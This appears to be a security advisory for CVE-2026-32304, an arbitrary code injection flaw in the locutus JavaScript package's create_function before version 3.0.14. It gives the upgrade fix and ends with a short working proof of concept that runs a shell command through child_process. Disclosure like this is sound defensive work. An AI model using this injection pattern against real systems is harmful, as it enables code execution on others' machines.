Arbitrary Code Injection Affecting locutus package, versions <3.0.14
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- published13 Mar 2026
- disclosed12 Mar 2026
- creditByambadalai Sumiya
Introduced: 12 Mar 2026
NewCVE-2026-32304 (opens in a new tab)How to fix?
Upgrade locutus to version 3.0.14 or higher.
Overview
locutus is a Locutus other languages' stadard libraries to JavaScript for fun and educational purposes
Affected versions of this package are vulnerable to Arbitrary Code Injection via the create_function(args, code) function. An attacker can execute arbitrary code by supplying unsanitized input to the arguments, which are passed directly to the Function constructor.
PoC
const { create_function } = require('locutus/php/funchand/create_function');
const rce = create_function('', 'return require("child_process").execSync("id").toString()');
console.log(rce());
// Output: uid=501(user) gid=20(staff) ...